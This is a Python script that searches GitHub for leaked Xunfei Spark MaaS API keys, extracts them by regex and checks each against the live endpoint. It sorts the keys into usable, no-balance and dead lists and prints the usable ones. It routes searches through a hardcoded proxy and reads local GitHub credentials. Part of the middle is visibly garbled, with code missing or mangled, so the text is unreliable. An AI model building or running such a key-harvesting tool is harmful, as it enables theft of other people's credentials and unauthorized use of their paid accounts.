#!/usr/bin/env python3 """Xunfei Spark MaaS coding API hunter. Endpoint: https://maas-coding-api.cn-huabei-1.xf-yun.com Key format: <32hex>: (Bearer auth) Ports: /v2 (OpenAI compat), /anthropic (Anthropic compat), /v1/responses. Classification: only HTTP 401/invalid => DEAD. Model-exists but unauthorized (11200 AppIdNoAuthError) and 10404 are NOT dead - the key authenticates. Outputs results/xunfei/. """ import argparse, json, os, re, subprocess, sys, time import urllib.request, urllib.error, urllib.parse from concurrent.futures import ThreadPoolExecutor, as_completed from pathlib import Path from verify_cache import CachedVerifier from content_cache import ContentCache, parse_raw_url HERE = Path(__file__).parent RESULTS = HERE/"results"/"xunfei"; RESULTS.mkdir(parents=True, exist_ok=True) EXTRACTED = RESULTS/"extracted_keys.txt" CANDIDATES = RESULTS/"candidates.txt" BASE = "https://maas-coding-api.cn-huabei-1.xf-yun.com" GH_PROXY = os.environ.get("GH_PROXY","http://114.111.19.228:3389") UA = "curl/8.5.0" _gh=None def gh_opener(): global _gh if _gh is None: _gh = urllib.request.build_opener(urllib.request.ProxyHandler({"http":GH_PROXY,"https":GH_PROXY})) if GH_PROXY else urllib.request.build_opener() return _gh _di=None def direct(): global _di if _di is None: _di=urllib.request.build_opener(urllib.request.ProxyHandler({})) return _di # key: 32 hex colon then 16+ alnum secret (base64-ish). Secret seen: 24 chars hex-lower. KEY_RE = re.compile(r"\b([0-9a-f]{32}:[A-Za-z0-9]{16,80})\b") DOMAIN = "maas-coding-api.cn-huabei-1.xf-yun.com" SEARCH_QUERIES = [ f'"{DOMAIN}"', f'"{DOMAIN}/v2"', f'"{DOMAIN}/anthropic"', '"xf-yun.com" "api_key"', '"xf-yun.com" "Bearer"', '"maas-coding-api" sk-', '"maas-coding-api" "api_key"', '"maas-coding-api" extension:py', '"maas-coding-api" extension:js', '"maas-coding-api" extension:ts', '"maas-coding-api" extension:json', '"maas-coding-api" extension:yaml', '"maas-coding-api" extension:env', '"maas-coding-api" filename:.env', '"xdeepseekv3"', '"xdeepseekr1"', '"XUNFEI_API_KEY" extension:env', '"SPARK_API_KEY" extension:env', '"XFYUN_API_KEY" extension:env', '"xunfei" "api_key" "xf-yun"', '"cn-huabei-1.xf-yun.com"', '"maas-coding-api.cn-huabei-1"', ] def github_token(): t=os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN") if t: return t try: o=subprocess.run(["gh","auth","token"],capture_output=True,text=True,timeout=10) if o.returncode==0: return o.stdout.strip() except FileNotFoundError: pass h=Path.home()/".config"/"gh"/"hosts.yml" if h.exists(): for ln in h.read_text().splitlines(): ln=ln.strip() if ln.startswith("oauth_token:"): return ln.split(":",1)[1].strip() return None def gh_api(url,token): hd={"Accept":"application/vnd.github+json","User-Agent":"key-hunter"} if token: hd["Authorization"]=f"Bearer {token}" req=urllib.request.Request(url,headers=hd) for _ in range(6): try: with gh_opener().open(req,timeout=30) as r: return json.loads(r.read()) except urllib.error.HTTPError as e: if e.code in (403,429): rs=e.headers.get("X-RateLimit-Reset"); w=max(int(rs)-int(time.time()),5) if rs else 30 print(f" rate-limited {w}s",file=sys.stderr); time.sleep(w+1); continue if e.code==422: return None e.read(); return None except Exception as e: print(f" net {e}",file=sys.stderr); time.sleep(3) return None def gh_search(q,token,pp=100,pages=10): for page in range(1,pages+1): d=gh_api(f"https://api.github.com/search/code?q={urllib.parse.quote(q)}&per_page={pp}&page={page}",token) if not d: return items=d.get("items",[]) if not items: return for it in items: yield it if len(items)1 else "?") print(f"\n=== Stage 3: verify {len(keys)} keys ===") B={"USABLE":[],"NO_BALANCE":[],"NO_ACCESS":[],"UNKNOWN":[],"DEAD":[]} done=0; st=time.time() with CachedVerifier("xunfei", verify, force=args.no_cache) as ver: with ThreadPoolExecutor(max_workers=args.workers) as pool: futs={pool.submit(ver,k):(k,s) for k,s in keys.items()} for fut in as_completed(futs): k,s=futs[fut]; done+=1 try: v,d=fut.result() except Exception as e: v,d="UNKNOWN",f"exc {e}" B[v].append((k,s,d)) if done%50==0: el=time.time()-st print(f" [{done:5d}/{len(keys)}] use={len(B['USABLE'])} nobal={len(B['NO_BALANCE'])} noacc={len(B['NO_ACCESS'])} unk={len(B['UNKNOWN'])} dead={len(B['DEAD'])} ({done/el:.1f}/s)") cs=ver.stats() print(f" cache: {cs['hits']} hits, {cs['live']} live queries") print(f"\nDone in {time.time()-st:.1f}s") for n in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN","DEAD"): p=RESULTS/f"{n.lower()}.txt" p.write_text("\n".join(f"{k}|{s}|{d}" for k,s,d in sorted(B[n]))) print(f" {n:11s}: {len(B[n]):5d}") if B["USABLE"]: print("\n=== USABLE ===") for k,s,d in sorted(B["USABLE"]): print(f" {k}\n {s}\n {d}") if __name__=="__main__": main()